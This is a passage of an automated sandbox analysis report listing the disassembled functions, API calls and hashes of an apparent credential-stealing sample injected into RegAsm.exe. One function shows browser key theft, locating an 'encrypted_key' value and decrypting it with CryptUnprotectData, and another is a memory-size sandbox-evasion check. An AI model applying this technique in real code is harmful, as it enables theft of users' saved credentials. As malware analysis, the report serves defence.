Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0118AA18,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00417690 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.KERNEL32(80000002,0118B3D8,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNEL32(00000000,01191B08,00000000,00000000,?,000000FF), ref: 004176FE

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.KERNEL32(80000002,0118B3D8,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNEL32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 004140B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.KERNEL32(80000001,011918C8,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,01191E50,00000000,00000000,00000000,000000FF), ref: 00414118
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,01191E68), ref: 0041415B

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$OpenQueryValuememset
String ID:
API String ID: 558315959-0
Opcode ID: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30
, xrefs: 00409DC1

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0118ACC8), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,0118ACF8), ref: 00410866
StrCmpCA.SHLWAPI(00000000,0118ABA8), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0118ACC8), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,0118ACF8), ref: 00410866
StrCmpCA.SHLWAPI(00000000,0118ABA8), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
